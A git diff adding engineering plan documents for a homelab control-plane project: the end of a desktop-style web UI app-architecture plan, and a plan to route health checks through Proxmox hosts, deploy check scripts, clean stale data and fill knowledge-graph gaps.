||||
|
||||
- [ ] Community apps (network map, backup dashboard, energy monitor)
|
||||
- [ ] Versioning + auto-update
|
||||
- [ ] Mascot skin packs as installable docked-app variants
|
||||
|
||||
---
|
||||
|
||||
## 6. Implementation — Phase 1, file by file
|
||||
|
||||
| # | File | Change |
|
||||
|---|------|--------|
|
||||
| 1 | `lib/apps.ts` | Extend `AppDef` (`docked?`, `noIcon?`, geometry optional). Register mascot. Import `MascotLayer` + `EggIcon`. |
|
||||
| 2 | `lib/stores/docked.ts` | **New.** `dockedVisibility` store, `toggleDocked`, `isDockedVisible`, localStorage persistence. |
|
||||
| 3 | `lib/stores/windows.ts` | `openAppWindow`: docked branch → `toggleDocked`. |
|
||||
| 4 | `components/desktop-shell/DockedLayer.svelte` | **New.** Renders visible docked apps after WindowLayer. |
|
||||
| 5 | `components/desktop-shell/Desktop.svelte` | Replace `import MascotLayer` + `<MascotLayer />` with `<DockedLayer />`. |
|
||||
| 6 | `components/desktop-shell/WindowLayer.svelte` | **Deferred during implementation.** The positional if/else was re-audited and found to already handle orphans cleanly (`{#if win && (!appId || app)}`), and any new window kind needs a prop-dispatch branch in markup regardless — so a prefix→component map adds machinery without decoupling. Documented as an extension point (§2.5) like `titlebarActions`; not built (YAGNI). |
|
||||
| 7 | `lib/apps.test.ts` | Mock `MascotLayer` import (same pattern as pages). Per-kind validation tests. Docked apps exempt from positive-size test. |
|
||||
| 8 | `lib/stores/docked.test.ts` | **New.** Toggle, persistence, default-visible, unknown-key merge. |
|
||||
| 9 | `docs/mbse/components.md` | Add Component 9: Web Control Room — App Architecture (§7). |
|
||||
|
||||
**Out of scope for Phase 1:** `titlebarActions`, app-scoped state,
|
||||
lazy loading, manifests, permissions.
|
||||
|
||||
**Verification:**
|
||||
|
||||
```bash
|
||||
cd web
|
||||
npm run test # vitest — registry + docked store
|
||||
npm run check # svelte-check + tsc
|
||||
npm run lint
|
||||
npm run build # vite build — confirms no import cycles from DockedLayer
|
||||
```
|
||||
|
||||
Manual smoke: icon toggle hides/shows mascot → reload → stays hidden →
|
||||
toggle → returns at last position (model `lastPos` restore). All seven
|
||||
windowed apps open/focus/close identically to before. Legacy hash
|
||||
`#/signals` still opens the Signals window.
|
||||
|
||||
---
|
||||
|
||||
## 7. MBSE documentation
|
||||
|
||||
Add **Component 9: Web Control Room — App Architecture** to
|
||||
`docs/mbse/components.md`:
|
||||
|
||||
```
|
||||
9. Web Control Room — App Architecture
|
||||
9.1 Purpose — OS + Apps metaphor, why apps are independently shippable
|
||||
9.2 Structural View — shell modules, registry, docked layer (mermaid)
|
||||
9.3 App Contract — AppDef, validation rules, app kinds
|
||||
9.4 OS-Service Surface — the AppOS table
|
||||
9.5 Content Resolution — prefix map, window kinds, orphan cleanup
|
||||
9.6 Behavior — window state machine, docked visibility lifecycle
|
||||
9.7 Requirements — WEB-APP-* traceability
|
||||
9.8 Verification — test coverage, manual smoke
|
||||
```
|
||||
|
||||
### Requirements
|
||||
|
||||
| ID | Requirement | Status |
|
||||
|----|-------------|--------|
|
||||
| WEB-APP-1 | Apps register via data-driven AppDef entries; no shell edits to add/remove | ✅ live |
|
||||
| WEB-APP-2 | Apps render in wmkit floating windows | ✅ live |
|
||||
| WEB-APP-3 | Window IDs namespaced (`app:`/`session:`/entity) — no collisions | ✅ live |
|
||||
| WEB-APP-4 | Desktop icons render from the registry | ✅ live |
|
||||
| WEB-APP-5 | Taskbar buttons derive from window state, icons resolved via registry | ✅ live |
|
||||
| WEB-APP-6 | Removed apps' persisted windows self-close | ✅ live (`WindowLayer.svelte:25-30`) |
|
||||
| WEB-APP-7 | Content resolution dispatches via prefix map, not positional if/else | ⬜ Deferred — re-audited; original gate already handles orphans, map adds no decoupling (§2.5) |
|
||||
| WEB-APP-8 | Docked app kind: no window, no chrome, visibility toggled via icon | ⬜ Phase 1 |
|
||||
| WEB-APP-9 | Mascot is a registered docked App, not a hardcoded shell component | ⬜ Phase 1 |
|
||||
| WEB-APP-10 | Docked visibility persists across reloads | ⬜ Phase 1 |
|
||||
| WEB-APP-11 | OS-service surface (AppOS) documented as the stable App API | ⬜ Phase 1 |
|
||||
| WEB-APP-12 | Registry validation: per-kind geometry rules enforced by tests | ⬜ Phase 1 |
|
||||
| WEB-APP-13 | Apps lazy-load; icons render from static metadata | ✅ Phase 2 |
|
||||
| WEB-APP-14 | Icon store revalidates against live registry, not import-time snapshot | ✅ Phase 3 |
|
||||
| WEB-APP-15 | Third-party apps install from manifests with declared permissions | ✅ Phase 3 (local bundles; enforcement Phase 4) |
|
||||
|
||||
### Sequence — windowed app open
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant WM as Window Manager
|
||||
participant WL as Window Layer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click icon
|
||||
Desktop->>WM: openAppWindow("signals")
|
||||
Note over WM: docked? no → wm path
|
||||
alt window exists
|
||||
WM->>WM: restore + focus
|
||||
else new
|
||||
WM->>WM: wm.open({ id: "app:signals", ... })
|
||||
WM->>WL: render frame
|
||||
WL->>WL: resolveContent → prefix 'app:' → registry
|
||||
WL->>App: mount component
|
||||
end
|
||||
WM->>Taskbar: new button in wmState.order
|
||||
```
|
||||
|
||||
### Sequence — docked app toggle
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant Dock as docked.ts
|
||||
participant Layer as DockedLayer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click Cluck icon
|
||||
Desktop->>Dock: openAppWindow("mascot") → docked → toggleDocked
|
||||
Dock->>Dock: flip visibility, persist localStorage
|
||||
Dock->>Layer: store update
|
||||
alt now visible
|
||||
Layer->>App: mount MascotLayer
|
||||
Note over App: model + sprites restore<br/>from module scope
|
||||
else now hidden
|
||||
Layer->>App: unmount (state survives)
|
||||
end
|
||||
```
|
||||
|
||||
### State machine — app window
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> Closed: registered, no window
|
||||
Closed --> Open: openAppWindow
|
||||
Open --> Focused: focus
|
||||
Focused --> Open: blur
|
||||
Open --> Minimized: minimize
|
||||
Minimized --> Focused: restore
|
||||
Open --> Closed: close
|
||||
Minimized --> Closed: close
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Risk & safety
|
||||
|
||||
| Risk | Severity | Mitigation |
|
||||
|------|----------|------------|
|
||||
| Mascot refactor breaks stimuli or ground-line computation | Medium | MascotLayer unchanged; DockedLayer mounts it in the same surface div, same position in the stacking order as today. |
|
||||
| Hidden mascot never rediscovered | Low | Icon always present, tooltip says show/hide. |
|
||||
| `openAppWindow` docked branch leaks into windowed path | Low | Branch is the first statement; windowed path byte-identical. Covered by existing call sites (icon click, taskbar settings, legacy hash). |
|
||||
| Docked visibility store desyncs from registry | Low | Unknown keys kept on load; layer filters by `a.docked` from the live registry. |
|
||||
| Phase 2 lazy loading kills persisted windows of not-yet-loaded apps | Medium | Explicit Phase 2 gate: orphan-close waits for registry-ready (§5). Called out now so it isn't discovered in production. |
|
||||
|
||||
---
|
||||
|
||||
## 9. Appendix: relevant existing artifacts
|
||||
|
||||
| Artifact | Relevance |
|
||||
|----------|-----------|
|
||||
| `docs/mbse/README.md` §5 | MCP tools / REST / SSE — the data surface Apps consume |
|
||||
| `docs/mbse/components.md` §5 | Current web control room component doc — Phase 1 extends it |
|
||||
| `docs/mascot/README.md` | Mascot subsystem model (MASC-1..12); MASC-9's registry philosophy is the template for this plan |
|
||||
| `plans/2026-07-08-control-room-webui.md` | Original control-room plan |
|
||||
| `plans/done/2026-07-11-ui-review-ia-usability.md` | IA review that produced the desktop metaphor |
|
||||
| `plans/2026-07-20-desktop-mascot.md` | Mascot plan; extension registries |
|
||||
| `lib/apps.ts` header comment | Already documents the one-entry-to-add-an-app philosophy |
|
||||
|
||||
---
|
||||
|
||||
*Plan opened 2026-07-21. Phase 1 ready for execution — estimated small
|
||||
(~half a day of focused work; nine file touches, two new files). Phases
|
||||
2–4 are context for future sessions and do not block Phase 1.*
|
||||
410
plans/2026-07-29-health-check-reality-and-knowledge-graph.md
Normal file
410
plans/2026-07-29-health-check-reality-and-knowledge-graph.md
Normal file
@@ -0,0 +1,410 @@
|
||||
# Plan: Make health reflect reality + complete the knowledge graph
|
||||
|
||||
Status: ready for implementation · Created 2026-07-29
|
||||
|
||||
## Context
|
||||
|
||||
`ws:mac-mini` reports health `down` despite being the healthy control-plane host.
|
||||
Investigation showed the problem is systemic, not local: **49 enabled checks report
|
||||
`down`**, almost all `ssh-script`, because the resource/updates probes assume
|
||||
**scripts are deployed at `/opt/oikos/checks/` AND root SSH works on every target** —
|
||||
both false for macOS, non-enrolled LXCs, and mesh-only entities. The knowledge graph
|
||||
also has real gaps (unmodeled TLS certs, empty `skills` table, seed drift, a capped
|
||||
topology view).
|
||||
|
||||
The DB is the source of truth; live state was verified via the REST API
|
||||
(`Authorization: Bearer $OIKOS_MCP_BEARER_TOKEN`, token in `oikos-api-1` container env)
|
||||
and `docker exec oikos-postgres-1 psql`. Direct psql access is available for cleanup.
|
||||
|
||||
## Decisions (confirmed with operator)
|
||||
|
||||
1. **Monitoring philosophy: make checks work everywhere** — via the proven `pct exec`/
|
||||
`qm guest exec` host-routing the MCP `run` tool already uses (no per-guest SSH keys),
|
||||
plus deploy the check scripts INTO each guest and make them macOS-aware. Hosts/workstations
|
||||
use direct SSH with the correct per-target user.
|
||||
2. **Canonical host-hop access** — `pct exec`/`qm guest exec` through the proxmox host is
|
||||
the ONLY execution path for any LXC/VM command (scheduler + MCP `run` + agent). Direct
|
||||
guest SSH is retired for execution; `lan_ip` stays for network probes only. (A1.)
|
||||
3. **Auto-provision monitoring for new entities** — wire script-deploy + the
|
||||
`health-check-answering` lifecycle gate into entity creation so any entity Nomos creates
|
||||
becomes monitorable with zero manual steps (Track E).
|
||||
4. **Lifecycle gate: skip monitoring for `deprecated`/`destroyed` targets** — no
|
||||
permanent false alarms from retired things.
|
||||
5. **Knowledge graph: address ALL gaps** — model TLS certificates, fix dns-zone gap,
|
||||
re-export seeds, seed skills, raise graph cap.
|
||||
6. **Read-only audit skill** — a `read_only` operator skill discovers live infra and diffs
|
||||
it against the DB graph, producing a ranked drift report; the operator acts on findings
|
||||
via existing lifecycle runbooks. No auto-fix. (Track F.)
|
||||
|
||||
## Findings (evidence)
|
||||
|
||||
### A. Health-check reality gaps (49 checks `down`)
|
||||
|
||||
**Root cause is a routing mismatch, verified live (tests use the scheduler's own key
|
||||
`-i /etc/oikos/ssh_key`, not a default-key test):**
|
||||
|
||||
The MCP `run` tool already reaches every guest correctly via
|
||||
`resolveExecTarget` (`internal/mcp/server.go:582`): resolve the proxmox host
|
||||
(`attributes.host` → `hosts` edge → hubris default), SSH there, run
|
||||
`pct exec <pve_id> -- bash -c 'echo <b64> | base64 -d | bash'` (VMs: `qm guest exec`).
|
||||
That path needs **no per-guest lan_ip, no per-guest authorized_keys, no per-guest sshd**.
|
||||
|
||||
The **scheduler's `checkSSHScript` does not use it** — it SSHes directly to each
|
||||
entity's own resolved address (`internal/scheduler/scheduler.go:758`,
|
||||
`internal/checkdefaults/defaults.go:376 resolveHost`) and runs
|
||||
`/opt/oikos/checks/<script>`. That is the bug. Decomposed by class:
|
||||
|
||||
| Class | Targets (verified) | Root cause |
|
||||
|---|---|---|
|
||||
| **Guests reached wrong** | `lxc:rclone` (mesh-only, no lan_ip), `lxc:nfs-export` (192.168.8.200: **ssh port 22 timeout** — no sshd), `lxc:teddycloud` (**key not authorized** — "not a homelab client"), `lxc:grimmory/romm/seanime` (strong: pct-exec reachable, **scripts not inside**) | scheduler SSHes the guest directly; should route via proxmox host `pct exec` like `resolveExecTarget`. rclone is correctly parented on hubris (`hosts` edge verified) and IS reachable via `pct exec 132` — the mesh fqdn is a red herring. |
|
||||
| macOS host | `ws:mac-mini` (5 resource/updates checks `down`) | root SSH disabled (macOS); `user: dtoro` never read by resolver (`defaults.go:406` reads `attrs["ssh"]["user"]` only); scripts not deployed; scripts Linux-only |
|
||||
| External / mesh-only | `host:netbird-vps` (no lan_ip; mesh unreachable from container) | `resolveHost` picks mesh IP over `public_ipv4` (`defaults.go:376`); sshd also "locked to hubris pubkey" |
|
||||
| Dead route | `ingress:secrets.hubris.network` http `down` | `service:secrets-issuance` is `deprecated` but its ingress check still enabled — no lifecycle gate |
|
||||
| ICMP-blocked | `vm:haos` ping `down` while up | HAOS blocks ICMP |
|
||||
|
||||
**Working** (prove the host-SSH model is sound): `host:hubris`, `host:strong` SSH with
|
||||
the scheduler key → **SCRIPTS_PRESENT**; `lxc:gitea` direct-SSH → **SCRIPTS_PRESENT**
|
||||
(it's a homelab client with root key + scripts). So the host hop is the reliable path.
|
||||
|
||||
**Parentage verified correct** (all `hosts` edges checked in DB): strong guests on
|
||||
strong, hubris guests on hubris. No misplaced parents — the gap is routing + in-guest
|
||||
script deployment, not topology.
|
||||
|
||||
Health aggregation itself is correct: `WorstHealthForTarget`
|
||||
(`internal/db/sqlcgen/operations.sql.go:1472`) = worst enabled check. One failing
|
||||
ssh-script drags an otherwise-healthy entity to `down`.
|
||||
|
||||
### B. Dead/stale data
|
||||
|
||||
- **24 orphan check_defs** + check entities, slugs `^check:(ping|ssh-script|disk):[0-9a-f]{8}$`
|
||||
(e.g. `check:ssh-script:0d31fdd1`), `enabled=false`, `last_health=NULL`, `state=NULL`.
|
||||
Leftover from the old `shortSlug()` collision bug (fixed in `defaults.go:263`).
|
||||
- `service:secrets-issuance` = `deprecated`; `ingress:secrets.hubris.network` still
|
||||
routes to it and alarms permanently.
|
||||
|
||||
### C. Knowledge-graph gaps
|
||||
|
||||
- **TLS certificates unmodeled**: `certificate` type + `uses-certificate` edge + `cert-expiry`
|
||||
checker all exist, but **0** certificate entities. Cert expiry is invisible.
|
||||
- **`dns-zone` declares `monitoring: [dns]`** (`seeds/ontology.yaml:382`) but no `dns`
|
||||
checker exists → every zone is an `unmonitored` signal.
|
||||
- **Seed drift**: 23 `dns-record` entities in DB, 0 in `seeds/inventory.yaml`.
|
||||
- **`skills` table = 0** despite `.agents/skills/*/SKILL.md` on disk (runbooks = 15).
|
||||
- **Graph capped at 500 nodes** (`internal/httpapi/impl.go:27 graphNodeCap = 500`);
|
||||
299 `execution` + 87 `task` rows dominate, so `/graph` is not a faithful topology view.
|
||||
|
||||
---
|
||||
|
||||
## Work breakdown
|
||||
|
||||
### Track A — Make ssh-script checks work everywhere (route through the proxmox host)
|
||||
|
||||
Core idea: stop having the scheduler SSH each guest directly. Reuse the MCP `run`
|
||||
tool's proven `resolveExecTarget` pattern — reach every LXC/VM **through its proxmox
|
||||
host** via `pct exec`/`qm guest exec`. This fixes rclone (no lan_ip), nfs-export
|
||||
(no sshd), teddycloud (no key), and every strong guest in one stroke, because the host
|
||||
hop already has working root SSH. Hosts/workstations keep direct SSH.
|
||||
|
||||
**A1. Canonicalize host-hop as the ONLY execution path for LXC/VM (the real fix + simplification).**
|
||||
|
||||
Principle: **never SSH directly into a guest to run a command.** Every LXC/VM command
|
||||
execution — scheduler checks, the MCP `run` tool, and the agent — routes through the
|
||||
owning proxmox host via `pct exec <pve_id> -- ...` (VMs: `qm guest exec`). One SSH
|
||||
credential per host (root key, already authorized on hubris/strong), no per-guest keys,
|
||||
sshd, or lan_ip needed for execution. Verified this works: `pct exec 132` reaches rclone;
|
||||
the MCP `run` tool already does it for every guest (`internal/mcp/server.go:582`).
|
||||
|
||||
- Network probes (http/ping) keep hitting the guest's `lan_ip`/URL directly — they don't
|
||||
execute inside the guest, so they're unaffected. For LXCs all checks are ssh-script, so
|
||||
they all route via the host; `lan_ip` becomes optional metadata, not a monitoring prereq.
|
||||
- Extract `resolveExecTarget`/`resolveProxmoxHostSlug` out of `internal/mcp` into a shared
|
||||
package (e.g. `internal/remote`) so the scheduler's `checkSSHScript`
|
||||
(`internal/scheduler/scheduler.go:710`) and `checkBackupFreshness` (`backup.go:79`, the
|
||||
other direct-SSH path) and the MCP `run` tool share ONE resolver. Today they diverge —
|
||||
the scheduler SSHes guests directly (broken), MCP host-hops (works).
|
||||
- `checkSSHScript`/`checkBackupFreshness`: when the target is `lxc:`/`vm:`, resolve the
|
||||
proxmox host and wrap the invocation as `pct exec <pve_id> -- bash -c 'echo <b64> |
|
||||
base64 -d | bash'` (VMs: the `qm guest exec` form at `server.go:625`). For `host:`/`ws:`
|
||||
keep direct SSH (they ARE the host).
|
||||
- **Risk class:** `config_mutation` (changes how probes reach every guest) → operator
|
||||
approval. Verify one LXC end-to-end (rclone) before fanning out.
|
||||
|
||||
**A2. Deploy check scripts INTO guests (via `pct push`), not just to the host.**
|
||||
- Verified: scripts exist on hubris/strong (the hosts) but `NO_SCRIPTS` inside grimmory,
|
||||
romm, seanime, rclone. A `pct exec`-routed check still runs inside the guest, so the
|
||||
scripts must live in the guest.
|
||||
- Add a fleet-deploy tool (`tools/deploy-checks.sh`): for each LXC, from its proxmox
|
||||
host, `pct push <id> checks/<script> /opt/oikos/checks/<script>` + chmod 755 (loop the
|
||||
`checks/*.sh` set). For VMs, scp/agent; for hosts/workstations, run `checks/install.sh`.
|
||||
- Backfill once now (all guests + mac-mini). See Track E for the automated version.
|
||||
|
||||
**A3. Fix per-target SSH user + resolver (hosts/workstations only).**
|
||||
- `internal/checkdefaults/defaults.go:406 resolveSSHUser`: also read top-level
|
||||
`attrs["user"]` (workstations carry `user: dtoro`, not `ssh.user`). Returns `dtoro`
|
||||
for mac-mini. Re-derive mac-mini's check_defs so config carries the user.
|
||||
- **Do NOT enable root SSH on mac-mini** — use `dtoro` (keeps macOS hardening).
|
||||
|
||||
**A4. macOS-aware check scripts.**
|
||||
- `checks/cpu_check.sh:5` `top -bn1` (Linux) → branch on `uname -s == Darwin`
|
||||
(`top -l 1`/`sysctl`). Same for `memory_check.sh`, `load_check.sh`, `disk_usage_check.sh`
|
||||
(`df` differs), `updates_check.sh` (already apt-guarded; on Darwin report `healthy`
|
||||
with `security_updates=0` or read `softwareupdate --list`).
|
||||
- Each must still emit `{"health":..,"metrics":{..}}` JSON
|
||||
(`internal/scheduler/scheduler.go:767`).
|
||||
|
||||
**A5. Reachability for external/mesh-only hosts.**
|
||||
- `internal/checkdefaults/defaults.go:376 resolveHost`: prefer `public_ipv4` over mesh IP
|
||||
for `standalone-server`/external so `host:netbird-vps` (82.165.190.79) is probeable.
|
||||
Note sshd is "locked to hubris pubkey" (`inventory.yaml:89`) — either add the scheduler
|
||||
key or proxy via hubris. Confirm before assuming direct SSH works.
|
||||
- `ws:republic-laptop`: roving laptop on mesh only. ping-`down` when asleep is real;
|
||||
keep ping-only and accept transient `down`, or set `monitoring: none`. (Decision in
|
||||
Open Questions.)
|
||||
- `lxc:rclone` no longer a special case — handled by A1's pct routing.
|
||||
|
||||
**A6. ICMP-blocked VMs.**
|
||||
- `vm:haos` ping `down` while up: optional `tcp`-ping fallback in `checkPing`
|
||||
(`internal/scheduler/scheduler.go:604`) for VMs that block ICMP, gated by an attribute.
|
||||
Lower priority — confirm haos blocks ICMP before building.
|
||||
|
||||
### Track B — Lifecycle monitoring gate
|
||||
|
||||
**B1. Skip monitoring for deprecated/destroyed targets.**
|
||||
- Disable (set `enabled=false`) and skip-scheduling `check_defs` whose `target` entity
|
||||
`state` ∈ {`deprecated`,`destroyed`}.
|
||||
- Implement by joining target state in `ListEnabledCheckDefs`
|
||||
(`internal/db/sqlcgen/operations.sql.go`, the `ListEnabledCheckDefs` query) — exclude rows
|
||||
whose target is retired — **or** in a `housekeeping` sweep
|
||||
(`internal/scheduler/scheduler.go:302`) that disables them. Prefer the query filter
|
||||
(no write needed at runtime).
|
||||
- Matches `policy.yaml` lifecycle philosophy (`destroyed.refuse: all`); extend the comment.
|
||||
- Effect: dead `ingress:secrets.hubris.network` alarm goes silent automatically.
|
||||
|
||||
### Track C — Dead-data cleanup
|
||||
|
||||
**C1. Delete 24 orphan check_defs + check entities.**
|
||||
- Direct SQL (have psql access): delete `check_defs` then `entities` matching
|
||||
`slug ~ '^check:(ping|ssh-script|disk):[0-9a-f]{8}$'`. Confirm `state IS NULL` /
|
||||
`enabled=false` first (already verified).
|
||||
- Wrap as a one-shot migration or `scripts/cleanup-orphan-checks.sh`. **Risk class:** read
|
||||
the rows first; this is `config_mutation` → operator approval.
|
||||
|
||||
**C2. Retire the secrets route.**
|
||||
- With B1 in place the alarm silences. Optionally set `ingress:secrets.hubris.network`
|
||||
→ `deprecated`/`destroyed` and remove its `routes-to` edge to service:secrets-issuance
|
||||
(or keep as archaeology). Decide with operator.
|
||||
|
||||
**C3. Destroy 7 stray test LXCs (active cruft in the graph).**
|
||||
- DB shows these with live `hosts` edges on strong, never cleaned up:
|
||||
`lxc:preflight-test`, `lxc:preflight-test2`, `lxc:test-autocontinue`,
|
||||
`lxc:test-decompose3`, `lxc:test-livewatch`, `lxc:test-livewatch2`, `lxc:typetype`.
|
||||
- First confirm they're really gone in Proxmox (`pct list` on strong); if so, set their
|
||||
entity state → `destroyed` (move to archaeology) and drop the `hosts` edges. If any
|
||||
container still exists, destroy via `pct destroy` first (destructive → approval).
|
||||
- They currently generate checks and pollute the graph/health view.
|
||||
|
||||
### Track D — Knowledge graph
|
||||
|
||||
**D1. Model TLS certificates.**
|
||||
- Seed `certificate` entities (one per `*.hubris.network` route, or per Caddy-managed
|
||||
cert) + `uses-certificate` edges from each `ingress-route`.
|
||||
- Source real data: read Caddy's cert store (LXC 121) expiry via the existing `cert-expiry`
|
||||
checker's discovery, or seed from Caddyfile and backfill `expires` live.
|
||||
- Wires the `cert-expiry` checker (`internal/scheduler/scheduler.go`, `cert-expiry` kind)
|
||||
against real entities instead of nothing.
|
||||
|
||||
**D2. dns-zone monitoring gap.**
|
||||
- `seeds/ontology.yaml:382`: change `dns-zone` `monitoring: [dns]` → `monitoring: none`
|
||||
with a comment "no dns checker yet; revisit when implemented". Stops the per-zone
|
||||
`unmonitored` noise. Re-seed.
|
||||
|
||||
**D3. Re-export seeds to fix drift.**
|
||||
- Run `oikos export` (or the export endpoint) so the 23 runtime `dns-record` entities +
|
||||
other runtime-created topology land in `seeds/inventory.yaml`. Diff, review, commit.
|
||||
|
||||
**D4. Seed skills from disk.**
|
||||
- Ingest `.agents/skills/*/SKILL.md` as `skill` entities (mirror how runbooks seed → 15
|
||||
exist). Add to the knowledge seed ingest path (`internal/db/seed.go`) or a one-shot
|
||||
ingest. `get_skills()` then returns data.
|
||||
|
||||
**D5. Raise graph node cap.**
|
||||
- `internal/httpapi/impl.go:27 graphNodeCap = 500` → raise (e.g. 5000) **and/or**
|
||||
paginate `/api/v1/graph`. Ensure the query stays performant (it already limits by default;
|
||||
confirm no full-table risk). Optionally exclude cognition rows (`execution`/`task`) from
|
||||
the default topology view via a `?layer=infrastructure` filter so infra isn't crowded out.
|
||||
|
||||
### Track E — Auto-provision monitoring when a new entity is created
|
||||
|
||||
Goal: the operator's request — "make sure this is handled automatically in the future
|
||||
when the agent creates new entities." Today `ensureDefaultChecks`
|
||||
(`internal/httpapi/default_checks.go:9`) writes check_defs on entity creation but does
|
||||
NOT make the target probe-ready (no script deploy, no host-routing). Its own comment
|
||||
admits the gap. A new entity should become monitorable with zero manual steps.
|
||||
|
||||
**E1. Hook script-deploy into entity creation / provisioning.**
|
||||
- Extend `ensureDefaultChecks` (called on entity create, `default_checks.go`) so that,
|
||||
after writing check_defs, it also ensures the target can answer:
|
||||
- **LXC/VM**: `pct push` the `checks/*.sh` set into the guest from its proxmox host
|
||||
(reuse the host resolution from A1). Idempotent (skip if present + unchanged).
|
||||
- **host/workstation**: ensure scripts at `/opt/oikos/checks/` (run `checks/install.sh`
|
||||
over SSH; locally on mac-mini).
|
||||
- Because the check itself is routed via `pct exec` (Track A), no per-guest SSH key or
|
||||
sshd is needed — host hop + in-guest scripts are the only prerequisites, both now
|
||||
automated. mac-mini still needs its `dtoro` key (A3) once.
|
||||
|
||||
**E2. Tie into the lifecycle `provisioning → active` gate.**
|
||||
- The ontology already requires `health-check-answering` for `provisioning → active`
|
||||
(`seeds/ontology.yaml:39`, checked by `internal/ontology/validate.go:167`).
|
||||
- Make that gate actually run one check against the new entity and require a non-`down`
|
||||
verdict before the transition is allowed. This closes the loop: an entity isn't "active"
|
||||
(and isn't trusted for blast-radius/auto decisions) until monitoring proves it answers.
|
||||
|
||||
**E3. Re-run on re-seed / attribute change.**
|
||||
- `checkdefaults.Ensure` already re-derives check config from the seed on re-ingest
|
||||
(`internal/checkdefaults/defaults.go:301`, seed wins, `enabled` preserved). Mirror that
|
||||
for script deploy: when `pve_id`/`host`/address attributes change, re-target the check
|
||||
and re-deploy scripts to the new guest.
|
||||
|
||||
**Net effect:** a new LXC provisioned by Nomos (via `pct_create`, which registers the
|
||||
entity + `hosts` edge, `internal/httpapi/actuator.go:615`) automatically gets
|
||||
script-pushed + check_defs + a passing `health-check-answering` gate before going active.
|
||||
|
||||
### Track F — Read-only knowledge-graph audit skill
|
||||
|
||||
Goal: the operator's request — a skill that auto-discovers live infra and validates the
|
||||
knowledge graph (entities, parentage, checks, scripts, seeds, certs) against reality,
|
||||
producing a ranked drift report. **Read-only; no auto-fix** — the operator routes each
|
||||
finding to the relevant lifecycle runbook.
|
||||
|
||||
**Precedent (reuse, don't duplicate):** existing drift/quality machinery is fragmented and
|
||||
knowledge-content focused. The audit orchestrates these + fills the topology/script gaps:
|
||||
- `internal/httpapi/knowledge_drift.go` — duplicate notes, orphan notes, tag splits (already endpoints).
|
||||
- `internal/scheduler/coverage.go coverageSweep` — unmonitored declared types (re-use its logic/SQL).
|
||||
- MCP discovery: `list_lxcs` (`internal/mcp/tools.go:478`), `get_lxc_state`, `list_entities`,
|
||||
`get_relations`, `http_get`. These already enumerate live LXC/VM state from the proxmox host.
|
||||
|
||||
**F1. Add an on-demand audit primitive (MCP tool + endpoint).**
|
||||
- New MCP tool `audit_knowledge_graph` (+ `GET /api/v1/audit/drift`) — read-only, runs the
|
||||
discovery+diff in one pass and returns a ranked report. Each finding = `{category, severity,
|
||||
entities, evidence, suggested_runbook}`.
|
||||
- Discovery sources (all via the canonical host-hop / existing tools): `pct list` + `pct
|
||||
config` on hubris & strong (guests, `net0` IP, onboot state); `qm list` (VMs); Caddy admin
|
||||
API / Caddyfile (routes → certs); docker `ps` on compose hosts; the `checks/*.sh` set vs
|
||||
what's deployed at `/opt/oikos/checks/` per target.
|
||||
- Report categories (the gaps this investigation found):
|
||||
1. **Ghost entities** — in DB but not in Proxmox (e.g. stray `lxc:test-*`).
|
||||
2. **Missing entities** — in Proxmox/Caddy/docker but no DB entity.
|
||||
3. **Misplaced parent** — `hosts` edge disagrees with where the guest actually runs (the
|
||||
rclone class — though rclone's parent is correct; this catches real migrations).
|
||||
4. **Orphan/dead checks** — `check_defs` whose target is deprecated/destroyed, or random-slug
|
||||
orphans (`^check:(ping|ssh-script|disk):[0-9a-f]{8}$`).
|
||||
5. **Undeployed scripts** — checks expect `/opt/oikos/checks/<script>` but it's absent in
|
||||
the guest (the strong-guest/rclone class).
|
||||
6. **Unmonitored declared types** — reuse `coverageSweep` SQL (dns-zone today, agents).
|
||||
7. **Seed drift** — entities/edges in DB but not in `seeds/inventory.yaml` (23 dns-records),
|
||||
via `oikos export` diff.
|
||||
8. **Unmodeled certs** — Caddy serves a cert with no `certificate` entity + `uses-certificate` edge.
|
||||
9. **Knowledge rot** — delegate to the existing `knowledge_drift` endpoints (duplicates/orphans/tags).
|
||||
|
||||
**F2. Author the skill.**
|
||||
- `.agents/skills/knowledge-graph-audit/SKILL.md` — front-matter
|
||||
`risk_class: read_only`, `inputs: [scope?]`, `verification: "drift report returns ok"`.
|
||||
Body: run `audit_knowledge_graph`, read the ranked report, and for each category point at
|
||||
the remediation runbook (`lifecycle-deprecate-node`, `lifecycle-destroy-node`,
|
||||
`config-change-deploy` for scripts, `lifecycle-migrate-node` for parents, this plan's
|
||||
tracks for cert/seed/graph-cap work). No mutating steps.
|
||||
- Seed a matching `runbook:knowledge-graph-audit` entity in `seeds/knowledge.yaml`
|
||||
(bound by `applies_to_type`) so `search_knowledge`/`get_skills` surface it (also fixes the
|
||||
empty-skills-table gap, Track D4).
|
||||
|
||||
**F3. Optional: periodic sweep (later).** Wrap categories 4/6 as a scheduler housekeeping
|
||||
sweep that raises `drift` signals, mirroring `coverageSweep`. Out of scope for this plan
|
||||
unless the operator wants continuous drift signals; the on-demand skill is the deliverable.
|
||||
|
||||
**Risk class:** `read_only`. The audit only reads (pct list/config, docker ps, Caddy API,
|
||||
DB selects, an `oikos export` to a temp file). No writes. Safe to run unattended.
|
||||
|
||||
---
|
||||
|
||||
## Validation
|
||||
|
||||
After each track, verify via API (read-only, no approval):
|
||||
|
||||
- `GET /api/v1/entities/ws:mac-mini` → `health` ∈ {healthy,degraded} (not `down`).
|
||||
- `GET /api/v1/entities/lxc:rclone` → `health` healthy (proves pct-routing through hubris;
|
||||
rclone currently unreachable because it resolves to a mesh fqdn). Verify its checks now
|
||||
route via `pct exec 132` on hubris.
|
||||
- Strong guests (`lxc:grimmory`, `lxc:romm`, `lxc:seanime`) → ssh-script checks healthy
|
||||
after scripts pushed inside + routed via strong's `pct exec`.
|
||||
- `GET /api/v1/checks?include_disabled=false` → `down` count drops from 49 to the
|
||||
genuinely-down set (republic-laptop asleep, real outages only). Re-run the per-class table.
|
||||
- `GET /api/v1/entities/service:secrets-issuance` + its ingress → no enabled check.
|
||||
- Orphan cleanup: `SELECT count(*) FROM check_defs cd JOIN entities e ON e.id=cd.entity_id
|
||||
WHERE e.slug ~ '^check:(ping|ssh-script|disk):[0-9a-f]{8}$';` → 0.
|
||||
